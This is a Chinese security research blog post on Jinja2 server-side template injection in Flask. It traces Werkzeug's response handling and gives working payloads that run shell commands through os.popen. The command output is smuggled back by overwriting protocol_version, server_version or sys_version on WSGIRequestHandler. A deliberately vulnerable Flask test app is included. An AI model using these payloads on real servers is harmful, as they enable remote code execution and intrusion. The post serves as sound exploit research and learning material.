Jinja2-SSTI 新回显方式技术学习

前言

拜读了https://xz.aliyun.com/t/15780 的文章,又想起了以前看到的回显方式,也是通过响应包来回显的,以前菜,调试不来代码,最近正好又有人提起,于是研究一波

环境搭建

这里就使用 GSBP 师傅的环境就够了

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

response 生成的过程

首先我们随便发一个包

响应包如下

这些都是我们的回显,回显又会分为两个部分

一个是 header 头,一个是 body

下面将从两个点去研究我们的响应包

GSBP 师傅是通过 Server 头带出的回显,其实不然,能够带出回显的方法很多,只有是能在页面上的,都是可以的

响应包必然是通过请求处理的,因此找到处理请求的地方

process_request_thread, socketserver.py:683
run, threading.py:953
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

process_request_thread 方法

def process_request_thread(self, request, client_address):
"""Same as in BaseServer but as a thread.

In addition, exception handling is done here.

"""
try:
    self.finish_request(request, client_address)
except Exception:
    self.handle_error(request, client_address)
finally:
    self.shutdown_request(request)

一眼顶真,具体实现应该在 finish_request 方法,然后 handle_error 是用来处理异常请求的,说不定也是可以利用的
跟进 finish_request 方法

def finish_request(self, request, client_address):
"""Finish one request by instantiating RequestHandlerClass."""
self.RequestHandlerClass(request, client_address, self)

是实例化了一个 RequestHandlerClass 类

def __init__(self, request, client_address, server):
self.request = request
self.client_address = client_address
self.server = server
self.setup()
try:
    self.handle()
finally:
    self.finish()

在实例化的过程中调用 self.handle()来处理

def handle(self):
"""Handle multiple requests if necessary."""
self.close_connection = True

self.handle_one_request()
while not self.close_connection:
    self.handle_one_request()

跟进 handle_one_request 方法

def handle_one_request(self):
"""Handle a single HTTP request.

You normally don't need to override this method; see the class
__doc__ string for information on how to handle specific HTTP
commands such as GET and POST.

"""
try:
    self.raw_requestline = self.rfile.readline(65537)
    if len(self.raw_requestline) > 65536:
        self.requestline = ''
        self.request_version = ''
        self.command = ''
        self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)
        return
    if not self.raw_requestline:
        self.close_connection = True
        return
    if not self.parse_request():
        # An error code has been sent, just exit
        return
    mname = 'do_' + self.command
    if not hasattr(self, mname):
        self.send_error(
            HTTPStatus.NOT_IMPLEMENTED,
            "Unsupported method (%r)" % self.command)
        return
    method = getattr(self, mname)
    method()
    self.wfile.flush() #actually send the response if not already done.
except TimeoutError as e:
    #a read or a write timed out.  Discard this connection
    self.log_error("Request timed out: %r", e)
    self.close_connection = True
    return

真正的开始解析我们的请求了,首先检查请求行长度请求行超过 65536 字节,意味着请求的 URI 太长,直接置空 requestline、request_version 和 command
然后检测请求行,之后通过 parse_request 解析请求,检测是否支持请求方法

然后交由 method()方法处理

部分代码

def write(data: bytes) -> None:
nonlocal status_sent, headers_sent, chunk_response
assert status_set is not None, "write() before start_response"
assert headers_set is not None, "write() before start_response"
if status_sent is None:
    status_sent = status_set
    headers_sent = headers_set
    try:
        code_str, msg = status_sent.split(None, 1)
    except ValueError:
        code_str, msg = status_sent, ""
    code = int(code_str)
    self.send_response(code, msg)
    header_keys = set()

跟进 send_response 方法

def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.

Also send two standard headers with the server software
version and the current date.

"""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())

http 协议回显

发送了一些信息,可以看到其实就是我们回显包里面的信息
首先看到 send_response_only 方法

def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':
    if message is None:
        if code in self.responses:
            message = self.responses[code][0]
        else:
            message = ''
    if not hasattr(self, '_headers_buffer'):
        self._headers_buffer = []
    self._headers_buffer.append(("%s %d %s\r\n" %
            (self.protocol_version, code, message)).encode(
                'latin-1', 'strict'))

可以看到这三个值都是页面上回显的值,我们只需要把这个值修改了,那岂不是就可以获取回显了

尝试寻找这些变量的位置

首先 protocol_version 就是<werkzeug.serving.WSGIRequestHandler object at 0x0000017078F01D80>的一个属性,我们只需要找到 WSGIRequestHandler 对象

那就是寻找 werkzeug.serving.WSGIRequestHandler

werkzeug 是什么呢?
问问 GPT,方便我们寻找

Werkzeug 最初只是一个工具库用于构建 WSGI Web 应用程序后来发展成了一个功能丰富的 Web 工具包被许多 Web 框架 Flask用作底层基础组件它包含多个模块和子包比如用于请求和响应处理的模块路由模块调试工具等封装了很多 HTTP  WSGI 的细节

可以将 werkzeug 理解为一个模块集合每个模块负责 Web 开发中的不同功能

那我们就从模块里面找找

修改一下代码准备寻找一番

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
        template = request.form.get("code")
        result=render_template_string(template)
        print(result)
        if result !=None:
            return result
        else:
            return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

如果寻找到 moudles 是关键吗,sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块
所以需要获取 sys 模块,这个模块的获取方法还是很多的

可以从spec的全局变量中获取

然后再去获取我们需要的模块

获取 WSGIRequestHandler 对象
使用

code={{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler}}

获取 protocol_version 属性

赋值为我们恶意命令的回显,可以使用 setattr 方法

paylaod 如下

code={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

成功

codemsg 回显*

当然除了我们的 protocol_version,当时我们还看到处理了 code 和 msg
我们也来修改修改试一试

我们查看一下关系

然后再往寻找

找了一会

get_wsgi_response, response.py:562
__call__, response.py:576
wsgi_app, app.py:1480
__call__, app.py:1498
execute, serving.py:331
run_wsgi, serving.py:370
handle_one_request, server.py:421
handle, server.py:433
handle, serving.py:398
__init__, socketserver.py:747
finish_request, socketserver.py:360
process_request_thread, socketserver.py:683
run, threading.py:953
_bootstrap_inner, threading.py:1016
_bootstrap, threading.py:973

现在就是寻找这个对象,找了一会没有找到,失败

server 头回显

然后只需要在上面的 payload 修改就好了

code={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}

然后还可以改下面的 pythonversion

code={{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"sys_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success2').read())}}

500 报错回显*

当然这只是一个思路

当时发现 500 页面会固定输出一些字符

HTTP/1.1 500 INTERNAL SERVER ERROR
Server: Werkzeug/3.0.5 Python/3.10.10
Date: Sat, 26 Oct 2024 09:34:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 265
Connection: close

<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

如果我们找到这些字符,把他们替换为我们的命令回显能成功吗

首先寻找一些字符

找到了 response 对象,这里有各种状态码的报错,寻找 500

然后在页面选择

然后修改,但是出现了一个问题,setattr 怎么修改??
然后尝试了其他方法都是失败了

最后

其实如果能够找到 response,还有很多去其他的属性可以修改,但是时间精力有限,也没有再去找了

点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖